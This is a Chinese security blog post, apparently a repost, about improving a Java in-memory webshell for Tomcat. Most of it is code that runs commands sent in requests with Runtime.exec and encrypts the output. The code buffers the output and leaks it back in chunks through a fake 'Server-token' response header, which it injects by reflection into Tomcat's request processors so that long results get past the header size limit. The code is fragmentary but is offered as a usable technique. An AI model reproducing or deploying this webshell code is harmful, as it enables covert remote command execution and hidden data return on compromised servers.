长亭百川云 - 文章详情

利用缓存buffer解决header回显size过大问题

bluE0x00

38

2024-07-14

前言

之前的内存马测试过程中曾出现回显字符串长度超过header头max-size的问题,本文算是做一个简单的解决方案。

正文

之前看了Y4tacker师傅的https://y4tacker.github.io/2022/04/14/year/2022/4/浅谈Shiro550受Tomcat-Header长度限制影响突破/#0x02-浅谈新思路,有想过通过Thread线程单独开辟buffer用于储存response,后发现可直接通过volatile类型实现(其实是没在线程里找到本应开辟的buffer~)。

概念

volatile 是 Java 中的关键字,是一个变量修饰符,被用来修饰会被不同线程访问和修改的变量。

实现

修改内存马中的逻辑,在get cmd的操作处增加一层逻辑用于判断当前是执行命令还是读取回显。

思路很简单,直接见代码:

`......``   `   `public void getResponse(byte[] res) {`                        `try {`                            `Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));``   `                            `for (Thread thread : threads) {`                                `if (thread != null) {`                                    `String threadName = thread.getName();`                                    `if (!threadName.contains("exec") && threadName.contains("Acceptor")) {`                                        `Object target = getField(thread, "target");`                                        `if (target instanceof Runnable) {`                                            `try {``   `                                                `ArrayList objects = (ArrayList) getField(getField(getField(getField(target, "this$0"), "handler"), "global"), "processors");`                                                `for (Object tmp_object : objects) {`                                                    `try {`                                                        `RequestInfo request = (RequestInfo) tmp_object;`                                                        `Response response = (Response) getField(getField(request, "req"), "response");`                                                        `String a = new String(res, "UTF-8");`                                                        `response.addHeader("Server-token", a);`                                                        `Http11OutputBuffer buffer = (Http11OutputBuffer) getField(response, "outputBuffer");`                                                        `System.out.print("buffer add");`                                                        `return;`                                                         `} catch (Exception e) {`                                                        `continue;`                                                    `}`                                                `}`                                            `} catch (Exception var11) {`                                                `continue;`                                            `}``   `                                        `}`                                    `}`                                `}`                            `}`                        `} catch (Exception ignored) {`                        `}`                    `}``   ``   `    `public String GetRes(ByteBuffer buffer){//从buffer中读取回显`            `int ResponseSize = 3000;//可从线程中获取header buffer的max-size来作为窗口大小,以加快读取速度。``   `            `try {`                `byte[] a = new byte[ResponseSize];`                `buffer.get(a);``   `                `if(a[0] == 0){`                    `return "";`                `}``   `                `if(new String(a).indexOf(0) != -1){`                    `Arrays.fill(buffer.array(),(byte)0);`                    `buffer.position(0);`                    `return new String(a);`                `}``   `                `return new String(a);``//                                }``//                            }`            `} catch (Exception ignored) {`            `}`            `return "";`       `}``   `      `public void PutResponse(String a , ByteBuffer buffer) {//将回显存入buffer`           `try {`                  `Arrays.fill(buffer.array(),(byte)0);`                  `buffer.position(0);`                  `buffer.put(a.getBytes());`                  `buffer.position(0);`                  `return;`               `} catch (Exception ignored) {`               `}`               `return;`       `}``   ``......``   ``//对应内存马主逻辑修改`     `String cmd = getRequest2();`            `if (cmd.length()>0) {`                `if(!cmd.startsWith("getting")){`                `try {`                    `Runtime rt = Runtime.getRuntime();`                    `Process process = rt.exec(cmd);`                    `java.io.InputStream in = process.getInputStream();``   `                    `java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);`                    `java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);`                    `String s = "";`                    `String tmp = "";`                    `while ((tmp = stdInput.readLine()) != null) {`                        `s += tmp;`                    `}`                    `if (s != "") {``//                        byte[] res = s.getBytes(StandardCharsets.UTF_8);`                        `PutResponse(encode(DEFAULT_SECRET_KEY,s),resbuffer);`                        `getResponse("done!");`                    `}``   `                `} catch (IOException e) {`                    `e.printStackTrace();`                `}`            `}`                `else {`                    `String a = GetRes(resbuffer);`                    `getResponse(a);`                `}`            `}``   ``   `            `this.execute(command, 0L, TimeUnit.MILLISECONDS);`

效果如下:

读取完成:

将获取的字符串拼接后解密:

后记

代码写的很粗糙,因为本身非java出身,相关的buffer读写让我很头疼,花了一下午赶工出来的代码,主要是想分享一下思路。

整体只是一个问题的临时解决方案,基于内存马或者其他用途,感觉也可用在某些request请求头过大的场景中。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2